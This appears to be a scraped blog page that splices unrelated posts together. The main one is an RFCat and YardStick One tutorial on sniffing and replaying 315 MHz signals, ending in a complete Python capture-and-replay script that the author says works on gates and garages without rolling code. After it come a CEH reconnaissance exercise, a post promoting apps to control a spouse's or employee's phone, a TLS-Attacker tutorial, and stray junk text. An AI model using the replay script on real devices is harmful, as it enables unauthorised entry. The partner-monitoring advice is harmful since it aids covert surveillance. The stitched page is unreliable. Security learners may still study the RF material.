Sunday, April 26, 2020

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

YardStick One: (from the last blog)


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 


Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 


from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

Related posts


Saturday, April 25, 2020

CEH Practical: Gathering Target Information: Reconnaissance And Competitive Intelligence

CEH Exam Objectives:

Describe Reconnaissance. 

Describe aggressive/competitive intelligence.


Reconnaissance

 Reconnaissance is the process of gathering informative data about a particular target of a malicious hack by exploring the targeted system. Basically two types of Reconnaissance exist i.e. Active and Passive. Active reconnaissance typically related to port scanning and observing the vulnerabilities about the targeted system (i.e., which ports are left vulnerable and/or if there are ways around the firewall and routers). Passive reconnaissance typically you will not be directly connected to a computer system. This process is used to gather essential information without ever interacting with the target systems.

Understand Aggressive Intelligence 

Competitive intelligence means information gathering about competitors' products, marketing, and technologies. Most competitive intelligence is non intrusive to the company being investigated and is benign in nature. It's used for product comparison or as a sales and marketing tactic to better understand how competitors are positioning their products or services.

Online tools to gather competitive intelligence

Exercise 1.1

Using KeywordSpy 

To use the KeywordSpy online tool to gather competitive intelligence information:  
  • Go to the www.keywordspy.com website and enter the website address of the target in the search field 

  • Review the report and determine valuable keywords, links, or other information.

 

Exercise 1.2

Using spyfu

  • Go to your browser and type www.spyfu.com and enter the website address of the target in the search field.

Exercise 1.3

Using the EDGAR Database to Gather Information

1. Determine the company's stock symbol using Google.

2. Open a web browser to www.sec.gov.


3. On the right side of the page, click the link EDGAR Filers. 


4. Click the Search For Filings menu and enter the company name or stock  symbol to search the filings for information. You can learn, for example, where the company is registered and who reported the filing.

5. Use the Yahoo! yellow pages ( http://yp.yahoo.com ) to see if an address or phone number is listed for any of the employee names you have located.

More articles


How To Control Android Phone From Another Phone Remotely

How to control Android phone From another phone Remotely

If you wish to remotely control Android phone from another phone, then you have come to the right place. It might sound surprising, but now you can easily control Android from Android by using the right kinds of applications. This can let you keep a strict eye on your kids, spouse, or anyone else remotely. In this informative post, we will make you familiar with different Android to Android remote control apps. Also, we will provide a stepwise solution to use an Android tracking app as well. Let's uncover them by taking one step at a time.

Control Android Phone from Another Phone Remotely

There could be numerous reasons to control Android from Android remotely. In most of the cases, it is used by professionals to access a device over the air. Also, parents like to use an Android to Android remote control at times to get a complete access to their kid's smartphones. Sometimes, it can help us transfer files from one device to another. You can also use it to access your partner's or employee's phone at the time of needs too. In the next section, we will let you know how to remotely control Android phone from another phone.

Control android from another android

How to remotely control Android phone from another phone?

There are different readily available applications that can be used to remotely control Android phone from another phone. We have picked the 3 best tools here.

1. TeamViewer for Remote Control

TeamViewer is one of the most widely known solutions that can provide a remote access to computer and smartphone remotely. It has a dedicated solution for Android as well that can perform the same function without any trouble. You can try its free version and later buy the premium subscription if you wish to.

  • Smart screen sharing with a complete control of the device
  • Control Android from Android by bypassing a security access (a one-time code should be matched).
  • 256 Bit AES session encoding and 2048 Bit RSA key exchange supported for advanced security
  • File transfer is also supported

Compatibility; Android 4.0 and later versions

Get it here >>

Control android from android - TeamViewer for Remote Control

2. RemoDroid

RemoDroid is another smart and lightweight Android to Android remote control that you can use. Besides controlling an Android phone, you can also use this tool to control a TV and other smart devices from your Android device as well.

  • Easy screen sharing provision
  • You can remotely control Android phone from another phone and other smart devices (like a TV)
  • It supports screen sharing between multiple users
  • Password protected and supports one-time authentication
  • Advanced features require root access

Compatibility: Android 4.0 and up

Get it here >>

Control android from android - RemoDroid

3. Inkwire Screen Share and Assist

Inkwire is a highly useful app that every Android user should have installed on their device. This freely available tool can let you share your screen with another user. After sharing the screen, you can provide assistance by marking the screen as well. It is particularly used by users to guide other how to use a certain feature on the device.

  • Once connected, you can easily draw on the screen and guide the other user on a real-time basis.
  • It is extensively used to provide customer support for Android apps.
  • Voice chat option is also included

Compatibility: Android 5.0 and later versions

Get it here >>

Control android from android - Inkwire Screen Share and Assist


@£√£RYTHING NT

Read more


  1. Hacking Libro
  2. Hacking Growth Sean Ellis
  3. Hacking Etico Curso Gratis

Playing With TLS-Attacker

In the last two years, we changed the TLS-Attacker Project quite a lot but kept silent about most changes we implemented. Since we do not have so much time to keep up with the documentation (we are researchers and not developers in the end), we thought about creating a small series on some of our recent changes to the project on this blog.


We hope this gives you an idea on how to use the most recent version (TLS-Attacker 2.8). If you feel like you found a bug, don't hesitate to contact me via GitHub/Mail/Twitter. This post assumes that you have some idea what this is all about. If you have no idea, checkout the original paper from Juraj or our project on GitHub.

TLDR: TLS-Attacker is a framework which allows you to send arbitrary protocol flows.


Quickstart:
# Install & Use Java JDK 8
$ sudo apt-get install maven
$ git clone https://github.com/RUB-NDS/TLS-Attacker
$ cd TLS-Attacker
$ mvn clean package

So, what changed since the release of the original paper in 2016? Quite a lot! We discovered that we could make the framework much more powerful by adding some new concepts to the code which I want to show you now.

Action System

In the first Version of TLS-Attacker (1.x), WorkflowTraces looked like this:
Although this design looks straight forward, it lacks flexibility. In this design, a WorkflowTrace is basically a list of messages. Each message is annotated with a <messageIssuer>, to tell TLS-Attacker that it should either try to receive this message or send it itself. If you now want to support more advanced workflows, for example for renegotiation or session resumption, TLS-Attacker will soon reach its limits. There is also a missing angle for fuzzing purposes. TLS-Attacker will by default try to use the correct parameters for the message creation, and then apply the modifications afterward. But what if we want to manipulate parameters of the connection which influence the creation of messages? This was not possible in the old version, therefore, we created our action system. With this action system, a WorkflowTrace does not only consist of a list of messages but a list of actions. The most basic actions are the Send- and ReceiveAction. These actions allow you to basically recreate the previous behavior of TLS-Attacker 1.x . Here is an example to show how the same workflow would look like in the newest TLS-Attacker version:


As you can see, the <messageIssuer> tags are gone. Instead, you now indicate with the type of action how you want to deal with the message. Another important thing: TLS-Attacker uses WorkflowTraces as an input as well as an output format. In the old version, once a WorkflowTrace was executed it was hard to see what actually happened. Especially, if you specify what messages you expect to receive. In the old version, your WorkflowTrace could change during execution. This was very confusing and we, therefore, changed the way the receiving of messages works. The ReceiveAction has a list of <expectedMessages>. You can specify what you expect the other party to do. This is mostly interesting for performance tricks (more on that in another post), but can also be used to validate that your workflow executedAsPlanned. Once you execute your ReceiveAction an additional <messages> tag will pop up in the ReceiveAction to show you what has actually been observed. Your original WorkflowTrace stays intact.


During the execution, TLS-Attacker will execute the actions one after the other. There are specific configuration options with which you can control what TLS-Attacker should do in the case of an error. By default, TLS-Attacker will never stop, and just execute whatever is next.

Configs

As you might have seen the <messageIssuer> tags are not the only thing which is missing. Additionally, the cipher suites, compression algorithms, point formats, and supported curves are missing. This is no coincidence. A big change in TLS-Attacker 2.x is the separation of the WorkflowTrace from the parameter configuration and the context. To explain how this works I have to talk about how the new TLS-Attacker version creates messages. Per default, the WorkflowTrace does not contain the actual contents of the messages. But let us step into TLS-Attackers point of view. For example, what should TLS-Attacker do with the following WorkflowTrace:

Usually, the RSAClientKeyExchange message is constructed with the public key from the received certificate message. But in this WorkflowTrace, we did not receive a certificate message yet. So what public key are we supposed to use? The previous version had "some" key hardcoded. The new version does not have these default values hardcoded but allows you as the user to define the default values for missing values, or how our own messages should be created. For this purpose, we introduced the new concept of Configs. A Config is a file/class which you can provide to TLS-Attacker in addition to a WorkflowTrace, to define how TLS-Attacker should behave, and how TLS-Attacker should create its messages (even in the absence of needed parameters). For this purpose, TLS-Attacker has a default Config, with all the known hardcoded values. It is basically a long list of possible parameters and configuration options. We chose sane values for most things, but you might have other ideas on how to do things. You can execute a WorkflowTrace with a specific config. The provided Config will then overwrite all existing default values with your specified values. If you do not specify a certain value, the default value will be used. I will get back to how Configs work, once we played a little bit with TLS-Attacker.

TLS-Attacker ships with a few example applications (found in the "apps/" folder after you built the project). While TLS-Attacker 1.x was mostly a standalone tool, we currently see TLS-Attacker more as a library which we can use by our more sophisticated projects. The current example applications are:
  • TLS-Client (A TLS-Client to execute WorkflowTraces with)
  • TLS-Server (A TLS-Server to execute WorkflowTraces with)
  • Attacks (We'll talk about this in another blog post)
  • TLS-Forensics (We'll talk about this in another blog post)
  • TLS-Mitm (We'll talk about this in another blog post)
  • TraceTool (We'll talk about this in another blog post) 

TLS-Client

The TLS-Client is a simple TLS-Client. Per default, it executes a handshake for the default selected cipher suite (RSA). The only mandatory parameter is the server you want to connect to (-connect).

The most trivial command you can start it with is:

Note: The example tool does not like "https://" or other protocol information. Just provide a hostname and port

Depending on the host you chose your output might look like this:

or like this:

So what is going on here? Let's start with the first execution. As I already mentioned. TLS-Attacker constructs the default WorkflowTrace based on the default selected cipher suite. When you run the client, the WorkflowExecutor (part of TLS-Attacker which is responsible for the execution of a WorkflowTrace) will try to execute the handshake. For this purpose, it will first start the TCP connection.
This is what you see here:

After that, it will execute the actions specified in the default WorkflowTrace. The default WorkflowTrace looks something like this:
This is basically what you see in the console output. The first action which gets executed is the SendAction with the ClientHello.

Then, we expect to receive messages. Since we want to be an RSA handshake, we do not expect a ServerKeyExchange message, but only want a ServerHello, Certificate and a ServerHelloDone message.

We then execute the second SendAction:

and finally, we want to receive a ChangeCipherSpec and Finished Message:

In the first execution, these steps all seem to have worked. But why did they fail in the second execution? The reason is that our default Config does not only allow specify RSA cipher suites but creates ClientHello messages which also contain elliptic curve cipher suites. Depending on the server you are testing with, the server will either select and RSA cipher suite, or an elliptic curve one. This means, that the WorkflowTrace will not executeAsPlanned. The server will send an additional ECDHEServerKeyExchange. If we would look at the details of the ServerHello message we would also see that an (ephemeral) elliptic curve cipher suite is selected:

Since our WorkflowTrace is configured to send an RSAClientKeyExchange message next, it will just do that:

Note: ClientKeyExchangeMessage all have the same type field, but are implemented inside of TLS-Attacker as different messages

Since this RSAClientKeyExchange does not make a lot of sense for the server, it rejects this message with a DECODE_ERROR alert:

If we would change the Config of TLS-Attacker, we could change the way our ClientHello is constructed. If we specify only RSA cipher suites, the server has no choice but to select an RSA one (or immediately terminate the connection). We added command line flags for the most common Config changes. Let's try to change the default cipher suite to TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:

As you can see, we now executed a complete ephemeral elliptic curve handshake. This is, because the -cipher flag changed the <defaultSelectedCiphersuite> parameter (among others) in the Config. Based on this parameter the default WorkflowTrace is constructed. If you want, you can specify multiple cipher suites at once, by seperating them with a comma.

We can do the same change by supplying TLS-Attacker with a custom Config via XML. To this we need to create a new file (I will name it config.xml) like this:

You can then load the Config with the -config flag:

For a complete reference of the supported Config options, you can check out the default_config.xml. Most Config options should be self-explanatory, for others, you might want to check where and how they are used in the code (sorry).

Now let's try to execute an arbitrary WorkflowTrace. To do this, we need to store our WorkflowTrace in a file and load it with the -workflow_input parameter. I just created the following WorkflowTrace:


As you can see I just send a ServerHello message instead of a ClientHello message at the beginning of the handshake. This should obviously never happen but let's see how the tested server reacts to this.
We can execute the workflow with the following command:

The server (correctly) responded with an UNEXPECTED_MESSAGE alert. Great!

Output parameters & Modifications

You are now familiar with the most basic concepts of TLS-Attacker, so let's dive into other things TLS-Attacker can do for you. As a TLS-Attacker user, you are sometimes interested in the actual values which are used during a WorkflowTrace execution. For this purpose, we introduced the -workflow_output flag. With this parameter, you can ask TLS-Attacker to store the executed WorkflowTrace with all its values in a file.
Let's try to execute our last created WorkflowTrace, and store the output WorkflowTrace in the file out.xml:


The resulting WorkflowTrace looks like this:

As you can see, although the input WorkflowTrace was very short, the output trace is quite noisy. TLS-Attacker will display all its intermediate values and modification points (this is where the modifiable variable concept becomes interesting). You can also execute the output workflow again.


Note that at this point there is a common misunderstanding: TLS-Attacker will reset the WorkflowTrace before it executes it again. This means, it will delete all intermediate values you see in the WorkflowTrace and recompute them dynamically. This means that if you change a value within <originalValue> tags, your changes will just be ignored. If you want to influence the values TLS-Attacker uses, you either have to manipulate the Config (as already shown) or apply modifications to TLS-Attackers ModifiableVariables. The concept of ModifiableVariables is mostly unchanged to the previous version, but we will show you how to do this real quick anyway.

So let us imagine we want to manipulate a value in the WorkflowTrace using a ModifiableVariable via XML. First, we have to select a field which we want to manipulate. I will choose the protocol version field in the ServerHello message we sent. In the WorkflowTrace this looked like this:

For historical reasons, 0x0303 means TLS 1.2. 0x0300 was SSL 3. When they introduced TLS 1.0 they chose 0x0301 and since then they just upgraded the minor version.

In order to manipulate this ModifiableVariable, we first need to know its type. In some cases it is currently non-trivial to determine the exact type, this is mostly undocumented (sorry). If you don't know the exact type of a field you currently have to look at the code. The following types and modifications are defined:
  • ModifiableBigInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableBoolean: explicitValue, toggle
  • ModifiableByteArray: delete, duplicate, explicitValue, insert, shuffle, xor
  • ModifiableInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableLong: add, explicitValue, subtract, xor
  • ModifiableByte: add, explicitValue, subtract, xor
  • ModifiableString: explicitValue
As a rule of thumb: If the value is only up to 1 byte of length we use a ModifiableByte. If the value is up to 4 bytes of length, but the values are used as a normal number (for example in length fields) it is a ModifiableInteger. Fields which are used as a number which are bigger than 4 bytes (for example a modulus) is usually a ModifiableBigInteger. Most other types are encoded as ModifiableByteArrays. The other types are very rare (we are currently working on making this whole process more transparent).
Once you have found your type you have to select a modification to apply to it. For manual analysis, the most common modifications are the XOR modification and the explicit value modification. However, during fuzzing other modifications might be useful as well. Often times you just want to flip a bit and see how the server responds, or you want to directly overwrite a value. In this example, we want to overwrite a value.
Let us force TLS-Attacker to send the version 0x3A3A. To do this I consult the ModifiableVariable README.md for the exact syntax. Since <protocolVersion> is a ModifiableByteArray I search in the ByteArray section.

I find the following snippet:

If I now want to change the value to 0x3A3A I modify my WorkflowTrace like this:

You can then execute the WorkflowTrace with:

With Wireshark you can now observe  that the protocol version got actually changed. You would also see the change if you would specify a -workflow_output or if you start the TLS-Client with the -debug flag.

More Actions

As I already hinted, TLS-Attacker has more actions to offer than just a basic Send- and ReceiveAction (50+ in total). The most useful, and easiest to understand actions are now introduced:

ActivateEncryptionAction

This action does basically what the CCS message does. It activates the currently "negotiated" parameters. If necessary values are missing in the context of the connection, they are drawn from the Config.


DeactivateEncryptionAction

This action does the opposite. If the encryption was active, we now send unencrypted again.


PrintLastHandledApplicationDataAction

Prints the last application data message either sent or received.


PrintProposedExtensionsAction

Prints the proposed extensions (from the client)


PrintSecretsAction

Prints the secrets (RSA) from the current connection. This includes the nonces, cipher suite, public key, modulus, premaster secret, master secret and verify data.


RenegotiationAction

Resets the message digest. This is usually done if you want to perform a renegotiation.


ResetConnectionAction

Closes and reopens the connection. This can be useful if you want to analyze session resumption or similar things which involve more than one handshake.


SendDynamicClientKeyExchangeAction

Send a ClientKeyExchange message, and always chooses the correct one (depending on the current connection state). This is useful if you just don't care about the actual cipher suite and just want the handshake done.


SendDynamicServerKeyExchangeAction

(Maybe) sends a ServerKeyExchange message. This depends on the currently selected cipher suite. If the cipher suite requires the transmission of a ServerKeyExchange message, then a ServerKeyExchange message will be sent, otherwise, nothing is done. This is useful if you just don't care about the actual cipher suite and just want the handshake done.


WaitAction

This lets TLS-Attacker sleep for a specified amount of time (in ms).





As you might have already seen there is so much more to talk about in TLS-Attacker. But this should give you a rough idea of what is going on.

If you have any research ideas or need support feel free to contact us on Twitter (@ic0nz1, @jurajsomorovsky ) or at https://www.hackmanit.de/.

If TLS-Attacker helps you to find a bug in a TLS implementation, please acknowledge our tool(s). If you want to learn more about TLS, Juraj and I are also giving a Training about TLS at Ruhrsec (27.05.2019).
More info